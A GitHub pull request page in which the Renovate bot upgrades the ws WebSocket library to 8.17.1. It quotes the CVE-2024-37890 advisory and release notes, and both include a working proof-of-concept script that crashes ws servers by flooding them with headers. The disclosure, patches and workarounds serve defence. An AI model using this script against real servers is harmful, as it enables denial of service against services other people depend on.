Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jun 18, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.13.08.17.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

  • Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

  • Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

  • Fixed an issue that allowed errors thrown by failed assertions to be
    swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

  • Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

  • The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
  • The socket argument of server.handleUpgrade() can now be a generic
    Duplex stream (#​2165).

Other notable changes

  • At most one event per microtask is now emitted (#​2160).

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link

vercel bot commented Jun 18, 2024

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Preview Comments Updated (UTC)
socketdb Error Error Dec 3, 2025 6:32pm

@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 14e452b to 835b625 Compare January 30, 2025 18:10
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 835b625 to 4eade6e Compare February 9, 2025 13:49
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 4eade6e to e5d2aac Compare March 3, 2025 17:25
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 3 times, most recently from ee9ae13 to 0bc2d37 Compare March 17, 2025 12:46
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from aad3aa9 to d79025d Compare April 5, 2025 03:59
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d79025d to be64cad Compare April 12, 2025 04:04
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from be64cad to 91e60dc Compare April 24, 2025 08:30
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from e2891f6 to 84dabce Compare May 24, 2025 23:47
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 3c7d5db to cb25121 Compare June 6, 2025 15:38
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from bbb8e50 to 0599605 Compare July 2, 2025 18:56
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from e844154 to 098c96b Compare August 13, 2025 17:39
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 098c96b to 9f988ca Compare August 19, 2025 18:37
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 9f988ca to f513afb Compare August 31, 2025 10:26
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from f513afb to 177446a Compare September 25, 2025 20:44
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 177446a to ef412a9 Compare October 21, 2025 15:42
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from ef412a9 to b229d66 Compare November 10, 2025 19:03
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from b229d66 to 7a7efe6 Compare November 18, 2025 13:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant